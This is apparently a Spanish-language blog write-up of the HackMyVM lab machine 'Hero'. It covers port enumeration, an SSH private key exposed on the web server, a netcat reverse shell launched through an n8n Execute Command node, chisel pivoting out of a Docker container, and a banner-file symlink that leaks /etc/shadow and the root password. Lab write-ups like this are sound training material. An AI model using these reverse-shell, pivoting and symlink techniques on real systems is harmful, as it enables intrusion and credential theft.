cd ~/blog

~/writeups/hmv/012-hero.md

012 - Hero

medium Linux hmvautor: Jordy Pérez Osorio aviso legal
SSH Private Key Disclosuren8n Workflow Command ExecutionDocker Network Pivoting via chiselArbitrary File Read via Symlink Following
hackmyvm.eu/machines/machine.php?vm=Hero

~2 min de lectura


Enumeración

Identificamos la IP de la máquina víctima:

❯ arp-scan --interface=wlo1 --localnet | grep PCS | awk '{print $1}'
10.214.65.125

Enumeramos puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 10.214.65.125
[sudo] contraseña para wh01s17:
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-16 19:31 -0400
Nmap scan report for 10.214.65.125
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
80/tcp   open  http
5678/tcp open  rrac
MAC Address: 08:00:27:B9:FF:96 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.08 seconds
❯ nmap -sCV -p 80,5678 -oN 02-targeted.txt 10.214.65.125
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-16 19:32 -0400
Nmap scan report for 10.214.65.125
Host is up (0.00049s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx
|_http-title: Site doesn't have a title (text/html).
5678/tcp open  rrac?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Content-Length: 1975
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <script type="module" crossorigin src="/assets/polyfills-DfOJfMlf.js"></script>
|     window.BASE_PATH = '/';
|     window.REST_ENDPOINT = 'rest';
|     <script src="/rest/sentry.js"></script>
...
1 service unrecognized despite returning data. ...

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.10 seconds

Clave SSH expuesta en la web

El puerto 80 expone directamente una id_rsa:

❯ curl http://10.214.65.125/
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwgAAAJAczctSHM3L
UgAAAAtzc2gtZWQyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwg
AAAEAnYotUqBFoopjEVz9Sa9viQ8AhNVTx0K19TC7YQyfwAqiYY31x+ZMvvHfmGWC7ZE75
BbdbAKYEtIX75k6CL27CAAAACnNoYXdhQGhlcm8BAgM=
-----END OPENSSH PRIVATE KEY-----

El bloque base64 de la clave incluye, al final, el comentario con el nombre de usuario. Lo decodificamos:

❯ echo 'b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwgAAAJAczctSHM3L
UgAAAAtzc2gtZWQyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwg
AAAEAnYotUqBFoopjEVz9Sa9viQ8AhNVTx0K19TC7YQyfwAqiYY31x+ZMvvHfmGWC7ZE75
BbdbAKYEtIX75k6CL27CAAAACnNoYXdhQGhlcm8BAgM=' | base64 -d
...
shawa@hero
...

n8n Workflow Command Execution

El puerto 5678 ejecuta n8n, una plataforma de automatización de workflows. El registro está disponible y permite crear una cuenta con acceso al nodo Execute Command. Ese nodo no es sólo una acción visual: ejecuta el comando configurado dentro del entorno donde corre n8n, con la identidad del usuario node.

Email: pwned@pwned.com
First Name: pwned
Last Name: pwned
Password: Pwned420
8+ characters, at least 1 number and 1 capital letter

Creamos un nuevo workflow, buscamos el nodo "Execute command" e ingresamos:

nc 10.214.65.50 1234 -e /bin/sh

Dejamos ncat a la escucha y pulsamos "Test step":

❯ ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.214.65.125:39519.
whoami
node
id
uid=1000(node) gid=1000(node) groups=1000(node)

Docker Network Pivoting mediante chisel

En la raíz encontramos el fichero .dockerenv, lo que indica que estamos dentro de un contenedor. Verificamos la IP:

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

La IP del contenedor es 172.17.0.2/16, por lo que suponemos que la del host es 172.17.0.1. Escaneamos sus primeros 100 puertos con un pequeño script en bash (no hay nmap en el contenedor):

for port in $(seq 1 100); do timeout 0.1 nc -z 172.17.0.1 $port 2>/dev/null && echo "Puerto abierto: $port"; done
Puerto abierto: 22
Puerto abierto: 80

Hacemos remote forwarding con chisel para exponer el SSH del host (172.17.0.1:22) en nuestro localhost:2222:

❯ ./chisel server -p 5000 --reverse

./chisel client 10.214.65.50:5000 R:2222:172.17.0.1:22

El túnel se establece desde el contenedor hacia nuestra máquina, pero transporta en sentido inverso las conexiones recibidas en localhost:2222:

// renderizando diagrama…

Iniciamos la conexión SSH contra el túnel, usando la clave de shawa (el host es Alpine):

❯ ssh shawa@localhost -i id_rsa -p 2222
shawa was here.
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <https://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

hero:~$

Obtenemos shell y la primera flag.

Listamos /opt y notamos el banner.txt:

hero:/opt$ ls -l
total 8
-rw-rw-rw-    1 root     root            16 Feb  6  2025 banner.txt
drwx--x--x    4 root     root          4096 Feb  6  2025 containerd

hero:/opt$ cat banner.txt
shawa was here.

El contenido de banner.txt (shawa was here.) coincide con el mensaje que SSH muestra al iniciar sesión. El archivo es modificable por shawa, pero un proceso privilegiado lo abre e imprime durante el login sin impedir que sea un enlace simbólico. Este Symlink Following hace que el proceso termine leyendo el destino elegido por el usuario. Reemplazamos el banner por un enlace a /etc/shadow:

hero:/opt$ mv banner.txt banner.txt.bak
hero:/opt$ ln -s /etc/shadow banner.txt

hero:/opt$ ls -la
total 16
drw-rw-rwx    3 root     root          4096 Aug 17 00:55 .
drwxr-xr-x   21 root     root          4096 Feb  6  2025 ..
lrwxrwxrwx    1 shawa    shawa           11 Aug 17 00:55 banner.txt -> /etc/shadow
-rw-rw-rw-    1 root     root            16 Feb  6  2025 banner.txt.bak
drwx--x--x    4 root     root          4096 Feb  6  2025 containerd

Reiniciamos la conexión SSH y, en lugar del banner, recibimos el contenido de /etc/shadow (y una contraseña que parece dejada como pista):

❯ ssh shawa@localhost -i id_rsa -p 2222
#Imthepassthaty0uwant!
root:$6$WBuW3zyLro0fagui$gq9zWbt3gEpo26gkIjtgjYZqjCJtjJrJO9EHaWkglVZWwWhQiiSNmMGejRn.Q58Z9knsWP59OQqLPgt2NAWd80:20125:
...
shawa:$6$24FnSb8jAyKUSa4W$Z7fiPgCy1q8VTg6eF0tVe2cjlHfZEB.fswQyBWoZdY3PwV6VyckxP8OhskWf/Kgx881HhsT2uWvVPTGRpJ43T.:20125:0:99999:7:::
Welcome to Alpine!
...
hero:~$

La contraseña del inicio (#Imthepassthaty0uwant!) resulta ser la de root:

hero:~$ su root
Password: Imthepassthaty0uwant!
/home/shawa # whoami
root

Obtenemos la segunda flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados